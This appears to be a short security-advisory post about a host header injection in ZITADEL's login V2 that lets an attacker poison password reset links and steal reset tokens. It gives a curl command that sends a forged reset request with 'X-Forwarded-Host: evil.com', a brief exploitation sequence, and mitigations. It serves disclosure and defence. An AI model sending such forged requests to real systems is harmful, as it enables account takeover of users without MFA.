Listen to this Post
The vulnerability operates through the insecure use of HTTP headers for constructing password reset URLs. In ZITADEL’s login V2, when a password reset request is initiated, the system dynamically builds the confirmation link sent via email. It uses the value from the `Forwarded` or `X-Forwarded-Host` header of the incoming HTTP request to determine the hostname for this link. An attacker can exploit this by submitting a forged password reset request with a malicious `X-Forwarded-Host` header pointing to a domain they control. ZITADEL, without proper validation, incorporates this attacker-controlled host into the generated reset link. The secret reset code is embedded within this manipulated URL. When the legitimate user receives the email and clicks the link, their browser sends a request to the attacker’s server, leaking the reset token. The attacker intercepts this token and uses it on the genuine ZITADEL instance to complete the password reset process, thereby compromising the user’s account. This attack chain succeeds only for accounts without Multi-Factor Authentication (MFA) or Passwordless authentication, as those provide an additional layer of security. The flaw stems from missing validation checks against trusted domain lists before utilizing header values for URL generation.
Platform: ZITADEL
Version: 4.0.0-4.7.0
Vulnerability: Host header injection
Severity: Critical
date: Unspecified
Prediction: Patch available
What Undercode Say:
Analytics:
curl -X POST https://target/zitadel/v2/reset -H "X-Forwarded-Host: evil.com"
proxy_set_header X-Forwarded-Host $host;
grep -r "X-Forwarded-Host" zitadel-codebase/
How Exploit:
Forged reset request with malicious X-Forwarded-Host header. Intercept user click. Capture token. Reset password.
Protection from this CVE:
Update to patched version. Configure proxy to strip unauthorized headers. Enforce MFA universally.
Impact:
Account takeover for non-MFA users. Unauthorized access. Credential compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
